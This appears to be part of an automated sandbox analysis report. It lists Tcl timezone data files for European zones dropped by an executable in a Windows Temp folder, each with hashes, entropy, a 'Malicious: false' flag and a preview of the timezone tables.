Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Berlin) {. {-9223372036854775808 3208 0 LMT}. {-2422054408 3600 0 CET}. {-1693706400 7200 1 CEST}. {-1680483600 3600 0 CET}. {-1663455600 7200 1 CEST}. {-1650150000 3600 0 CET}. {-1632006000 7200 1 CEST}. {-1618700400 3600 0 CET}. {-938905200 7200 1 CEST}. {-857257200 3600 0 CET}. {-844556400 7200 1 CEST}. {-828226800 3600 0 CET}. {-812502000 7200 1 CEST}. {-796777200 3600 0 CET}. {-781052400 7200 1 CEST}. {-776559600 10800 0 CEMT}. {-765936000 7200 1 CEST}. {-761180400 3600 0 CET}. {-757386000 3600 0 CET}. {-748479600 7200 1 CEST}. {-733273200 3600 0 CET}. {-717631200 7200 1 CEST}. {-714610800 10800 1 CEMT}. {-710380800 7200 1 CEST}. {-701910000 3600 0 CET}. {-684975600 7200 1 CEST}. {-670460400 3600 0 CET}. {-654130800 7200 1 CEST}. {-639010800 3600 0 CET}. {315529200 3600 0 CET}. {323830800 7200 1 CEST}. {338950800 3600 0 CET

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Bratislava

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	180
Entropy (8bit):	4.89628096026481
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqxVtXrAevFVAIgoquXrELyQahcvEB5yQazXrY:SlSWB9IZaM3ymzbAevFVAIgozbELy7cY
MD5:	7C0606BC846344D78A85B4C14CE85B95
SHA1:	CEDFDC3C81E519413DDD634477533C89E8AF2E35
SHA-256:	D7DF89C23D2803683FE3DB57BF326846C9B50E8685CCCF4230F24A5F4DC8E44E
SHA-512:	8F07791DE5796B418FFD8945AE13BAB1C9842B8DDC073ED64E12EA8985619B93472C39DD44DA8FAEF5614F4E6B4A9D96E0F52B4ECA11B2CCA9806D2F8DDF2778
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Europe/Prague)]} {. LoadTimeZoneFile Europe/Prague.}.set TZData(:Europe/Bratislava) $TZData(:Europe/Prague).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Brussels

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8907
Entropy (8bit):	3.75854119398076
Encrypted:	false
SSDEEP:	96:BMlf+jdXtSYv9HMn2vDGwdSscRbjOP9/V+H4Mnb4Nkrloy4xBqffZRgKs0AzxAHL:BMQSY1RSTRNH4Mn82rlo6XIZ9ALeBO
MD5:	FA802B103E8829C07AE7E05DE7F3CD1F
SHA1:	46AFB26E3E9102F0544C5294DA67DC41E8B2E8FC
SHA-256:	AEB5860C2F041842229353E3F83CC2FEBC9518B115F869128E94A1605FB4A759
SHA-512:	488CE6B524071D2B72F8AD73C2DC00F5F4C1C3C93F91165BDA0BCCB2B2C644B792C4220B785E84835ABE81584FDC87A1DCDA7679A69318052C3854167CB43C61
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Brussels) {. {-9223372036854775808 1050 0 LMT}. {-2840141850 1050 0 BMT}. {-2450953050 0 0 WET}. {-1740355200 3600 0 CET}. {-1693702800 7200 0 CEST}. {-1680483600 3600 0 CET}. {-1663455600 7200 1 CEST}. {-1650150000 3600 0 CET}. {-1632006000 7200 1 CEST}. {-1618700400 3600 0 CET}. {-1613826000 0 0 WET}. {-1604278800 3600 1 WEST}. {-1585530000 0 0 WET}. {-1574038800 3600 1 WEST}. {-1552266000 0 0 WET}. {-1539997200 3600 1 WEST}. {-1520557200 0 0 WET}. {-1507510800 3600 1 WEST}. {-1490576400 0 0 WET}. {-1473642000 3600 1 WEST}. {-1459126800 0 0 WET}. {-1444006800 3600 1 WEST}. {-1427677200 0 0 WET}. {-1411952400 3600 1 WEST}. {-1396227600 0 0 WET}. {-1379293200 3600 1 WEST}. {-1364778000 0 0 WET}. {-1348448400 3600 1 WEST}. {-1333328400 0 0 WET}. {-1316394000 3600 1 WEST}. {-1301263200 0 0 WET}. {-1284328800 3600 1 WEST}. {-126

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Bucharest

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7706
Entropy (8bit):	3.6365022673390808
Encrypted:	false
SSDEEP:	96:nQrdI+sYixX215VaKl9sUM2kNU4tztagAwkY5V778e27zo2yiQ6kjmyykeP2lwtk:nQrbEm1Oh2kNU4tB715pyzHy1gA
MD5:	79AAB44507DD6D06FA673CA20D4CF223
SHA1:	A2F1AA0E3F38EF24CD953C6B5E1EC29EA3EDB8C0
SHA-256:	C40DC0C9EE5FFF9F329823325A71F3F38BE940F159E64E0B0CED27B280C1F318
SHA-512:	BBEBB29FFD35A1F8B9D906795032976B3F69A0097ED7D764E3EB45574E66641C35F9006B3295FB090472FF5C09FC4D88D9249E924011A178EFB68D050AA6F871
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Bucharest) {. {-9223372036854775808 6264 0 LMT}. {-2469404664 6264 0 BMT}. {-1213148664 7200 0 EET}. {-1187056800 10800 1 EEST}. {-1175479200 7200 0 EET}. {-1159754400 10800 1 EEST}. {-1144029600 7200 0 EET}. {-1127700000 10800 1 EEST}. {-1111975200 7200 0 EET}. {-1096250400 10800 1 EEST}. {-1080525600 7200 0 EET}. {-1064800800 10800 1 EEST}. {-1049076000 7200 0 EET}. {-1033351200 10800 1 EEST}. {-1017626400 7200 0 EET}. {-1001901600 10800 1 EEST}. {-986176800 7200 0 EET}. {-970452000 10800 1 EEST}. {-954727200 7200 0 EET}. {296604000 10800 1 EEST}. {307486800 7200 0 EET}. {323816400 10800 1 EEST}. {338940000 7200 0 EET}. {354672000 10800 0 EEST}. {370396800 7200 0 EET}. {386121600 10800 1 EEST}. {401846400 7200 0 EET}. {417571200 10800 1 EEST}. {433296000 7200 0 EET}. {449020800 10800 1 EEST}. {465350400 7200 0 EET}. {481075200

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Budapest

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7975
Entropy (8bit):	3.7352769955376464
Encrypted:	false
SSDEEP:	96:ZpduGm56n0PcRbjOP9/V+H4Mnb4Nkrloy4xBqffZRgKs0AzxAHTdIVaAq0VZQlth:ZpMypRNH4Mn82rlo6XIZ9ALeBO
MD5:	25864F8E5372B8E45B71D08667ED093C
SHA1:	83463D25C839782E2619CD5BE613DA1BD08ACBB5
SHA-256:	EF5CF8C9B3CA3F772A9C757A2CC1D561E00CB277A58E43ED583A450BBA654BF1
SHA-512:	0DAB3CA0C82AA80A4F9CC04C191BE180EB41CCF87ADB31F26068D1E6A3A2F121678252E36E387B589552E6F7BA965F7E3F4633F1FD066FC7849B1FD554F39EC7
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Budapest) {. {-9223372036854775808 4580 0 LMT}. {-2500938980 3600 0 CET}. {-1693706400 7200 1 CEST}. {-1680483600 3600 0 CET}. {-1663455600 7200 1 CEST}. {-1650150000 3600 0 CET}. {-1640998800 3600 0 CET}. {-1633212000 7200 1 CEST}. {-1618700400 3600 0 CET}. {-1600466400 7200 1 CEST}. {-1581202800 3600 0 CET}. {-906771600 3600 0 CET}. {-857257200 3600 0 CET}. {-844556400 7200 1 CEST}. {-828226800 3600 0 CET}. {-812502000 7200 1 CEST}. {-796777200 3600 0 CET}. {-788922000 3600 0 CET}. {-778471200 7200 1 CEST}. {-762660000 3600 0 CET}. {-749689200 7200 1 CEST}. {-733359600 3600 0 CET}. {-717634800 7200 1 CEST}. {-701910000 3600 0 CET}. {-686185200 7200 1 CEST}. {-670460400 3600 0 CET}. {-654130800 7200 1 CEST}. {-639010800 3600 0 CET}. {-621990000 7200 1 CEST}. {-605660400 3600 0 CET}. {-492656400 7200 1 CEST}. {-481168800 3600 0

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Busingen

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	178
Entropy (8bit):	4.905738881351689
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqxVnCMPwVAIgoqkCMJW6yQahDZALMFB5h8Qa5CMP:SlSWB9IZaM3ym5XwVAIgo5Py7D17/8jH
MD5:	811B7E0B0EDD151E52DF369B9017E7C0
SHA1:	3C17D157A626F3AD7859BC0F667E0AB60E821D05
SHA-256:	221C8BA73684ED7D8CD92978ED0A53A930500A2727621CE1ED96333787174E82
SHA-512:	7F980E34BBCBC65BBF04526BF68684B3CE780611090392560569B414978709019D55F69368E98ADADC2C47116818A437D5C83F4E6CD40F4A1674D1CF90307CB5
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Europe/Zurich)]} {. LoadTimeZoneFile Europe/Zurich.}.set TZData(:Europe/Busingen) $TZData(:Europe/Zurich).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Chisinau

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7825
Entropy (8bit):	3.6745178518482375
Encrypted:	false
SSDEEP:	96:J2rdkayurqpGYtXfVA6bN3E48WLCtSYxUFtj2DVXvR2YuXOZp+eiXGEsTVVHU:J2r6GqpT9bN3E48GCujWYqK
MD5:	E58F12EB1D0E8F0EBBF4ED95AD278F27
SHA1:	6EEC2ED26C844D821275D4F2C60F03AF94E823E6
SHA-256:	1280D19316512775DABE2EAD328E637C0BACE6192D84DB8570EF4300975BBF2F
SHA-512:	3C04667C878DF2200A593259F1B826E485CD6BDC58FD1C685E36AB653FD1A81611D3CC7584878DE89BAEFFD1D1D7D9AA990BBE87A6D9BD6AB6350970B9A40182
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Chisinau) {. {-9223372036854775808 6920 0 LMT}. {-2840147720 6900 0 CMT}. {-1637114100 6264 0 BMT}. {-1213148664 7200 0 EET}. {-1187056800 10800 1 EEST}. {-1175479200 7200 0 EET}. {-1159754400 10800 1 EEST}. {-1144029600 7200 0 EET}. {-1127700000 10800 1 EEST}. {-1111975200 7200 0 EET}. {-1096250400 10800 1 EEST}. {-1080525600 7200 0 EET}. {-1064800800 10800 1 EEST}. {-1049076000 7200 0 EET}. {-1033351200 10800 1 EEST}. {-1017626400 7200 0 EET}. {-1001901600 10800 1 EEST}. {-986176800 7200 0 EET}. {-970452000 10800 1 EEST}. {-954727200 7200 0 EET}. {-927165600 10800 1 EEST}. {-898138800 7200 0 CET}. {-857257200 3600 0 CET}. {-844556400 7200 1 CEST}. {-828226800 3600 0 CET}. {-812502000 7200 1 CEST}. {-800154000 10800 0 MSD}. {354920400 14400 1 MSD}. {370728000 10800 0 MSK}. {386456400 14400 1 MSD}. {402264000 10800 0 MSK}. {4179

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Copenhagen

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7458
Entropy (8bit):	3.736544358182077
Encrypted:	false
SSDEEP:	96:1Fpd6z8cRbjOP9/V+H4Mnb4Nkrloy4xBqffZRgKs0AzxAHTdIVaAq0VZQltUbAyo:1FpoRNH4Mn82rlo6XIZ9ALeBO
MD5:	8FBF425E5833012C0A6276222721A106
SHA1:	78C5788ED4184A62E0E2986CC0F39EED3801AD76
SHA-256:	D2D091740C425C72C46ADDC23799FC431B699B80D244E4BCD7F42E31C1238EEB
SHA-512:	6DF08142EEBC7AF8A575DD7510B83DBD0E15DDA13801777684355937338CDA3D09E37527912F4EBBCC1B8758E3D65185E6006EB5C1349D1DC3AE7B6131105691
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Copenhagen) {. {-9223372036854775808 3020 0 LMT}. {-2524524620 3020 0 CMT}. {-2398294220 3600 0 CET}. {-1692496800 7200 1 CEST}. {-1680490800 3600 0 CET}. {-935110800 7200 1 CEST}. {-857257200 3600 0 CET}. {-844556400 7200 1 CEST}. {-828226800 3600 0 CET}. {-812502000 7200 1 CEST}. {-796777200 3600 0 CET}. {-781052400 7200 0 CEST}. {-769388400 3600 0 CET}. {-747010800 7200 1 CEST}. {-736383600 3600 0 CET}. {-715215600 7200 1 CEST}. {-706748400 3600 0 CET}. {-683161200 7200 1 CEST}. {-675298800 3600 0 CET}. {315529200 3600 0 CET}. {323830800 7200 1 CEST}. {338950800 3600 0 CET}. {354675600 7200 1 CEST}. {370400400 3600 0 CET}. {386125200 7200 1 CEST}. {401850000 3600 0 CET}. {417574800 7200 1 CEST}. {433299600 3600 0 CET}. {449024400 7200 1 CEST}. {465354000 3600 0 CET}. {481078800 7200 1 CEST}. {496803600 3600 0 CET}. {512528

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Dublin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9476
Entropy (8bit):	3.729722634283483
Encrypted:	false
SSDEEP:	192:fIfr5ZO/H8XKKRjuBHI2RLQbTaO5drSf72kVHe:fItZO/Hk5RSBHIB5tSf72kVHe
MD5:	49EA614B5BCB8602EF8D9F365FBBE43D
SHA1:	CF477D1759F428EA4C8A5DF89C5D3E0639422CD6
SHA-256:	F686B3AEA13F71ABB8C864B2574441FF8B6F313D6F88FC502C93B89454CF542F
SHA-512:	B9712380CA101A8FA768D06FA7DFA059DA2886E5BAD8806723CE44ECC06990BE65364498C8A37001FDD67608D2AF668FD1A37C5EDD8D4EA3AB63E338F927ADC5
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Dublin) {. {-9223372036854775808 -1500 0 LMT}. {-2821649700 -1521 0 DMT}. {-1691962479 2079 1 IST}. {-1680471279 0 0 GMT}. {-1664143200 3600 1 BST}. {-1650146400 0 0 GMT}. {-1633903200 3600 1 BST}. {-1617487200 0 0 GMT}. {-1601848800 3600 1 BST}. {-1586037600 0 0 GMT}. {-1570399200 3600 1 BST}. {-1552168800 0 0 GMT}. {-1538344800 3600 1 BST}. {-1522533600 0 0 GMT}. {-1517011200 0 0 IST}. {-1507500000 3600 1 IST}. {-1490565600 0 0 IST}. {-1473631200 3600 1 IST}. {-1460930400 0 0 IST}. {-1442786400 3600 1 IST}. {-1428876000 0 0 IST}. {-1410732000 3600 1 IST}. {-1396216800 0 0 IST}. {-1379282400 3600 1 IST}. {-1364767200 0 0 IST}. {-1348437600 3600 1 IST}. {-1333317600 0 0 IST}. {-1315778400 3600 1 IST}. {-1301263200 0 0 IST}. {-1284328800 3600 1 IST}. {-1269813600 0 0 IST}. {-1253484000 3600 1 IST}. {-1238364000 0 0 IST}. {-

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Gibraltar

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9181
Entropy (8bit):	3.7982744899840535
Encrypted:	false
SSDEEP:	96:i2elBN44y3UKdDDMjEZtcRbjOP9/V+H4Mnb4Nkrloy4xBqffZRgKs0AzxAHTdIV0:i44y1xZGRNH4Mn82rlo6XIZ9ALeBO
MD5:	F8AEFE8F561ED7E1DC81117676F7D0E0
SHA1:	1148176C2766B205B5D459A620D736B1D28283AA
SHA-256:	FB771A01326E1756C4026365BEE44A6B0FEF3876BF5463EFAB7CF4B97BF87CFC
SHA-512:	7C06CB215B920911E0DC9D24F0DD6E24DEC3D75FB2D0F175A9B4329304C9761FFFEE329DD797FF4343B41119397D7772D1D3DFC8F90C1DE205380DE463F42854
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Gibraltar) {. {-9223372036854775808 -1284 0 LMT}. {-2821649916 0 0 GMT}. {-1691964000 3600 1 BST}. {-1680472800 0 0 GMT}. {-1664143200 3600 1 BST}. {-1650146400 0 0 GMT}. {-1633903200 3600 1 BST}. {-1617487200 0 0 GMT}. {-1601848800 3600 1 BST}. {-1586037600 0 0 GMT}. {-1570399200 3600 1 BST}. {-1552168800 0 0 GMT}. {-1538344800 3600 1 BST}. {-1522533600 0 0 GMT}. {-1507500000 3600 1 BST}. {-1490565600 0 0 GMT}. {-1473631200 3600 1 BST}. {-1460930400 0 0 GMT}. {-1442786400 3600 1 BST}. {-1428876000 0 0 GMT}. {-1410732000 3600 1 BST}. {-1396216800 0 0 GMT}. {-1379282400 3600 1 BST}. {-1364767200 0 0 GMT}. {-1348437600 3600 1 BST}. {-1333317600 0 0 GMT}. {-1315778400 3600 1 BST}. {-1301263200 0 0 GMT}. {-1284328800 3600 1 BST}. {-1269813600 0 0 GMT}. {-1253484000 3600 1 BST}. {-1238364000 0 0 GMT}. {-1221429600 3600 1 BST}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Guernsey

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	178
Entropy (8bit):	4.830450830776494
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqxVxKL82wFVAIgoqyKL8p6yQakQAL/yQavKL8i:SlSWB9IZaM3ymvKA2wFVAIgovKAUyYL5
MD5:	DC2B3CAC4AF70A61D0F4C53288CC8D11
SHA1:	A423E06F88FDEED1960AF3C46A67F1CB9F293CAF
SHA-256:	9CB6E6FEC9461F94897F0310BFC3682A1134E284A56C729E7F4BCE726C2E2380
SHA-512:	8B455DA1D1A7AA1259E6E5A5CF90E62BA8073F769DCB8EB82503F2DFB70AA4539A688DC798880339A2722AA1871E8C8F16D8827064A2D7D8F2F232880359C78D
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Europe/London)]} {. LoadTimeZoneFile Europe/London.}.set TZData(:Europe/Guernsey) $TZData(:Europe/London).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Helsinki

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7120
Entropy (8bit):	3.635790220811118
Encrypted:	false
SSDEEP:	96:wQbXHk+PVqVaKl9sUM2kNU4tztagAwkY5V778e27zo2yiQ6kjmyykeP2lwtOEZ9A:w6XPzh2kNU4tB715pyzHy1gA
MD5:	E7A6AA8962067EF71174CD5AE79A8624
SHA1:	1250689DF0DFCCDD4B6B21C7867C4AA515D19ECD
SHA-256:	5FDBE427BC604FAC03316FD08138F140841C8CF2537CDF4B4BB20F2A9DFC4ECB
SHA-512:	5C590164499C4649D555F30054ECB5CF627CCCA8A9F94842328E90DD40477CADB1042D07EA4C368ABB7094D7A59A8C2EE7619E5B3458A0FAC066979B14AF44A6
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Helsinki) {. {-9223372036854775808 5989 0 LMT}. {-2890258789 5989 0 HMT}. {-1535938789 7200 0 EET}. {-875671200 10800 1 EEST}. {-859773600 7200 0 EET}. {354672000 10800 1 EEST}. {370396800 7200 0 EET}. {386121600 10800 1 EEST}. {401846400 7200 0 EET}. {410220000 7200 0 EET}. {417574800 10800 1 EEST}. {433299600 7200 0 EET}. {449024400 10800 1 EEST}. {465354000 7200 0 EET}. {481078800 10800 1 EEST}. {496803600 7200 0 EET}. {512528400 10800 1 EEST}. {528253200 7200 0 EET}. {543978000 10800 1 EEST}. {559702800 7200 0 EET}. {575427600 10800 1 EEST}. {591152400 7200 0 EET}. {606877200 10800 1 EEST}. {622602000 7200 0 EET}. {638326800 10800 1 EEST}. {654656400 7200 0 EET}. {670381200 10800 1 EEST}. {686106000 7200 0 EET}. {701830800 10800 1 EEST}. {717555600 7200 0 EET}. {733280400 10800 1 EEST}. {749005200 7200 0 EET}. {764730000

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Isle_of_Man

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	181
Entropy (8bit):	4.866592240835745
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqxVxKL82wFVAIgoqyKL8p6yQaqpfioxp8QavKL8i:SlSWB9IZaM3ymvKA2wFVAIgovKAUycqO
MD5:	9E18F66C32ADDDBCEDFE8A8B2135A0AC
SHA1:	9D2DC5BE334B0C6AEA15A98624321D56F57C3CB1
SHA-256:	6A03679D9748F4624078376D1FD05428ACD31E7CABBD31F4E38EBCCCF621C268
SHA-512:	014BAD4EF0209026424BC68CBF3F5D2B22B325D61A4476F1E4F020E1EF9CD4B365213E01C7EC6D9D40FA422FE8FE0FADB1E4CBB7D46905499691A642D813A379
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Europe/London)]} {. LoadTimeZoneFile Europe/London.}.set TZData(:Europe/Isle_of_Man) $TZData(:Europe/London).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Istanbul

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8793
Entropy (8bit):	3.6452802192723297
Encrypted:	false
SSDEEP:	96:kICNapz9QnPPWDePrDaQrclxXl9k1dgsh6YlnFUM2kNU4tztagAwkY5V778e27zE:kuQnPoOuX1iCeh2kNU4tB715pyzHy1gA
MD5:	F2BB6DCD69A30ABFB402A5C19063CB97
SHA1:	9792B9C6276937E8BD056E4E43B02AF3866404A8
SHA-256:	DF3FCA43B5920FD705AF3084FC1ACEBF6ED18D2528F45E3B1BBB0754DE03FED5
SHA-512:	3751D5C4A8372B4F154DFE898C1DB87A4805D24D8A3241DBF50A6238E1C6A58A0556458499D59DBA86FCF03EA528AE572A40EED4AFF2B3FEAE561594467E4BB9
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Istanbul) {. {-9223372036854775808 6952 0 LMT}. {-2840147752 7016 0 IMT}. {-1869875816 7200 0 EET}. {-1693706400 10800 1 EEST}. {-1680490800 7200 0 EET}. {-1570413600 10800 1 EEST}. {-1552186800 7200 0 EET}. {-1538359200 10800 1 EEST}. {-1522551600 7200 0 EET}. {-1507514400 10800 1 EEST}. {-1490583600 7200 0 EET}. {-1440208800 10800 1 EEST}. {-1428030000 7200 0 EET}. {-1409709600 10800 1 EEST}. {-1396494000 7200 0 EET}. {-931140000 10800 1 EEST}. {-922762800 7200 0 EET}. {-917834400 10800 1 EEST}. {-892436400 7200 0 EET}. {-875844000 10800 1 EEST}. {-857358000 7200 0 EET}. {-781063200 10800 1 EEST}. {-764737200 7200 0 EET}. {-744343200 10800 1 EEST}. {-733806000 7200 0 EET}. {-716436000 10800 1 EEST}. {-701924400 7200 0 EET}. {-684986400 10800 1 EEST}. {-670474800 7200 0 EET}. {-654141600 10800 1 EEST}. {-639025200 7200 0 EET}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Jersey

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	176
Entropy (8bit):	4.831245786685746
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqxVxKL82wFVAIgoqyKL8p6yQap6cEBx/yQavKL8i:SlSWB9IZaM3ymvKA2wFVAIgovKAUyzO5
MD5:	F43ABA235B8B98F5C64181ABD1CEEC3A
SHA1:	A4A7D71ED148FBE53C2DF7497A89715EB24E84B7
SHA-256:	8E97798BE473F535816D6D9307B85102C03CC860D3690FE59E0B7EEF94D62D54
SHA-512:	B0E0FC97F08CB656E228353594FC907FC94A998859BB22648BF78043063932D0FC7282D31F63FCB79216218695B5DCDF298C37F0CB206160798CF3CA2C7598E1
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Europe/London)]} {. LoadTimeZoneFile Europe/London.}.set TZData(:Europe/Jersey) $TZData(:Europe/London).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Kaliningrad

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2397
Entropy (8bit):	3.872391899125256
Encrypted:	false
SSDEEP:	48:cGv6a621nwJ2JoJrprXnW0UiVV0Qv3LEevBFoBGrjI9q1F008bBJd5:cGvt67yurprXWTeV/DYtXT
MD5:	E5131CD9A15537EEB90E2AF3A6F1D4C1
SHA1:	106916678943CBF0E30AC2B77405C20357BF5C0B
SHA-256:	8CF43F50386950483E80DDCB931B682E3E742C5D4E20FD5C55BF09CFD3F3EBE8
SHA-512:	0007C0F18682A34C5C54036F7F5E428AEBBAE3CACE268A54901E39101F0FC3A40628B399210C114D43AC0D107FFB97BD8D6D2B6DBF697ADCF3E31A4A39ADF438
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Kaliningrad) {. {-9223372036854775808 4920 0 LMT}. {-2422056120 3600 0 CET}. {-1693706400 7200 1 CEST}. {-1680483600 3600 0 CET}. {-1663455600 7200 1 CEST}. {-1650150000 3600 0 CET}. {-1632006000 7200 1 CEST}. {-1618700400 3600 0 CET}. {-938905200 7200 1 CEST}. {-857257200 3600 0 CET}. {-844556400 7200 1 CEST}. {-828226800 3600 0 CET}. {-812502000 7200 1 CEST}. {-796777200 3600 0 CET}. {-788922000 7200 0 CET}. {-778730400 10800 1 CEST}. {-762663600 7200 0 CET}. {-757389600 10800 0 MSD}. {354920400 14400 1 MSD}. {370728000 10800 0 MSK}. {386456400 14400 1 MSD}. {402264000 10800 0 MSK}. {417992400 14400 1 MSD}. {433800000 10800 0 MSK}. {449614800 14400 1 MSD}. {465346800 10800 0 MSK}. {481071600 14400 1 MSD}. {496796400 10800 0 MSK}. {512521200 14400 1 MSD}. {528246000 10800 0 MSK}. {543970800 14400 1 MSD}. {559695600 10800 0 MSK}

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Kiev

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7202
Entropy (8bit):	3.6738341956502953
Encrypted:	false
SSDEEP:	96:j/fE2JyurpyVaKl9sUM2kNU4tztagAwkY5V778e27zo2yiQ6kjmyykeP2lwtOEZ2:j/fN8GHh2kNU4tB715pyzHy1gA
MD5:	4E693AC10DD3FC66700A878B94D3701D
SHA1:	692200B78A3EA482577D13BE5588FEB0BF94DF01
SHA-256:	3AAC94E73BB4C803BBB4DE14826DAA0AC82BAE5C0841FD7C58B62A5C155C064D
SHA-512:	9B68D418B98DDF855C257890376AEC300FC6024E08C85AF5CFFE70BE9AC39D75293C35D841DB8A7BE5574FD185D736F5CB72205531736A202D25305744A2DD15
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Europe/Kiev) {. {-9223372036854775808 7324 0 LMT}. {-2840148124 7324 0 KMT}. {-1441159324 7200 0 EET}. {-1247536800 10800 0 MSK}. {-892522800 3600 0 CET}. {-857257200 3600 0 CET}. {-844556400 7200 1 CEST}. {-828226800 3600 0 CET}. {-825382800 10800 0 MSD}. {354920400 14400 1 MSD}. {370728000 10800 0 MSK}. {386456400 14400 1 MSD}. {402264000 10800 0 MSK}. {417992400 14400 1 MSD}. {433800000 10800 0 MSK}. {449614800 14400 1 MSD}. {465346800 10800 0 MSK}. {481071600 14400 1 MSD}. {496796400 10800 0 MSK}. {512521200 14400 1 MSD}. {528246000 10800 0 MSK}. {543970800 14400 1 MSD}. {559695600 10800 0 MSK}. {575420400 14400 1 MSD}. {591145200 10800 0 MSK}. {606870000 14400 1 MSD}. {622594800 10800 0 MSK}. {638319600 14400 1 MSD}. {646786800 10800 1 EEST}. {686102400 7200 0 EET}. {701820000 10800 1 EEST}. {717541200 7200 0 EET}. {733269600 1

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Europe\Lisbon

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9471
Entropy (8bit):	3.7395405211894532
Encrypted:	false
SSDEEP:	192:1MgVSz+IZHX68PlXIFj544IrvfMsbxZTH7qwQ:1MYSz+IZHX68PlYFUM8xZTH7qwQ
MD5:	A38B1394DF3266B55823F763FA63A03C
SHA1:	A8BD0F7613A59A0104ABA8958188D435CE71D273
SHA-256:	354D9C1FCFBC0EBF19F563A2685CE1CBDCB5061089BBD301211477358CEEACF3
SHA-512:	240BE4F7B1FB774D5557190ACC44DF702FC6AF772970F2B07626FB96A3B3FBC945C1BCF079EFDD7DB8A91BD8E30F11682B2A835F42FCB0782C7EC15989E78111
